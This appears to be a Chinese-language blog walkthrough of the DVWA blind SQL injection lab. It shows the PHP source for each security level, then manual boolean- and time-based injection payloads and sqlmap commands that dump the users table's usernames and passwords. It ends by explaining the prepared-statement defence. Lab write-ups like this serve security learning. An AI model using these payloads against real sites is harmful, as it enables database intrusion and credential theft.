DVWA SQL Injection (Blind)

前言

记录学习DVWA中的SQL盲注过程,包括手工注入、SQLmap注入两部分。

目的:爆破数据库,通过SQL注入,找到dvwa网站所有的用户名及密码。

LOW

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# low.php
<?php
if(isset($_GET['Submit'])){
// Get input
$id = $_GET['id'];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows($result); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found');
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析:直接拼接sql语句没有任何处理,查询结果只有User ID exists in the databaseUser ID is MISSING from the database

手动注入

注入判断

  1. 输入1' and 1=1;#, 输出User ID exists in the database
  2. 输入1' and 1=2;#,输出User ID is MISSING from the database

判断为字符型注入;

猜解当前数据库信息

猜解数据库长度

输入1' and length(database())=4;#,返回User ID exists in the database,表明数据库名长度为4(这里需要不断尝试);

猜解数据库名

使用二分法猜解数据库名;

输入1' and ascii(substr(database(),1,1)) > 100;#,输出User ID is MISSING from the database

输入1' and ascii(substr(database(),1,1)) < 100;#,输出User ID is MISSING from the database

判断出数据库名的第一个ascii字符为100,就是d,按照以上方法猜解出数据库名dvwa;

猜解表信息

猜解表数目

输入1' and (select count(table_name) from information_schema.tables where table_schema=database())=2;#,返回User ID exists in the database,表明有两个数据表;

猜解表长度

输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9; #,返回User ID exists in the database,说明第一个表的长度为9;

猜解表名

输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103;#,返回User ID is MISSING from the database

输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103;#,返回User ID is MISSING from the database

表明第一个表名的第一个字母是g;

按照上述操作,猜解出两个表名分别为 guestbook,users;

猜解字段信息

猜解字段数量

输入1' and (select count(column_name) from information_schema.columns where table_name='users')=8;#,输出User ID exists in the database,表明users表的字段数量为8;

猜解字段名

输入1' and length(substr((select column_name from informtion_schema.columns where table_name='users' limit 0,1),1))=7;#,输出User ID exists in the database,表明users表中第一个字段长度是7位,使用二分法可猜解出字段名;

猜解字段

以猜解user字段为例

猜解字段长度

输入1' and length(substr((select user from users limit 0,1),1))=5;#,输出User ID exists in the database,表明user的长度为5;

猜解字段值

输入1' and ascii(substr((select user from users limit 0,1),1,1))>97;#,输出User ID is MISSING from the database

输入1' and ascii(substr((select user from users limit 0,1),1,1))<97;#,输出User ID is MISSING from the database

表明第一个字段为a;

按照上述操作,利用二分法依次猜解;

注意:以上猜解的方法,除了利用基于布尔的盲注方式,还可以利用基于时间延迟的盲注进行操作。此时,需要结合if函数和sleep()函数来测试不同判断条件导致的延迟效果差异,如:1' and if(length(database())>10,sleep(5),1) #, if条件中即数据库的库、表、字段、字段值的获取和数值大小比较,若服务器响应时执行了sleep()函数,则判断if中的条件为真,否则为假。

SQLmap注入

与上篇博客的注入方式一致,例如输入sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4bq2qmdt2kkomp9qfvp3ko9rhd" -D dvwa -T users -C user,password --dump直接爆破users表;

MEDIUM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#medium.php
<?php
if(isset($_POST['Submit'])){
// Get input
$id = $_POST['id'];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows($result); // The '@' character suppresses errors
if($num>0){
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>

分析:后端使用了post获取ID,且前端使用了下拉来限制输入;

此时只用burpsuite抓包更改即可,方式和LOW Security Level的方式相同;

SQLmap扫描只需将数据包包存后使用SQLmap指令直接扫描即可,例如sqlmap -r data.txt -p id -D dvwa -T users -C user,password --dump指令可以直接爆破数据表,其中data.txt存储请求数据信息;

HIGH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#high.php
<?php
if(isset($_COOKIE['id'])){
// Get input
$id = $_COOKIE['id'];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows($result); // The '@' character suppresses errors
if($num>0){
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if(rand(0,5)==3){
sleep(rand(2,4));
}
// User wasn't found, so the page wasn't!
header($_SERVER['SERVER_PROTOCOL'].'404 Not Found');
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析:使用了cookie获取ID,limit限制现实结果只有1个,rand函数扰乱基于时间的盲注;

手工注入只需要使用burpsuite抓包,更改cookie中的id参数值即可;

查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;

但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:--second-url="xxxurl"(设置二阶响应的结果显示页面的url)

由于采用了cookie获取ID,这里设置level为2,用于检测cookie中提交的信息;

说明:level为2级时,检测cookie;level为3级时,检测user-Agent/Referer;

尝试使用sqlmap -r data.txt --second-url "http://localhost/DVWA/vulnerabilities/sqli_blind/index.php" -p id --level 2命令检测SQL注入漏洞,结果检测出SQL盲注漏洞,后续的注入按照SQLmap注入方式注入即可;

IMPOSSIBLE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#impossible.php
<?php
if(isset($_GET['Submit'])){
// Check Anti-CSRF token
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');
// Get input
$id = $_GET['id'];
// Was a number entered?
if(is_numeric($id)){
// Check the database
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id',$id,PDO::PARAM_INT);
$data->execute();
// Get results
if($data->rowCount()==1){
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header($_SERVER[ 'SERVER_PROTOCOL'].'404 Not Found');
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

分析:采用了PDO技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了SQL注入攻击,Anti-CSRFtoken 机制的加入了进一步提高了安全性。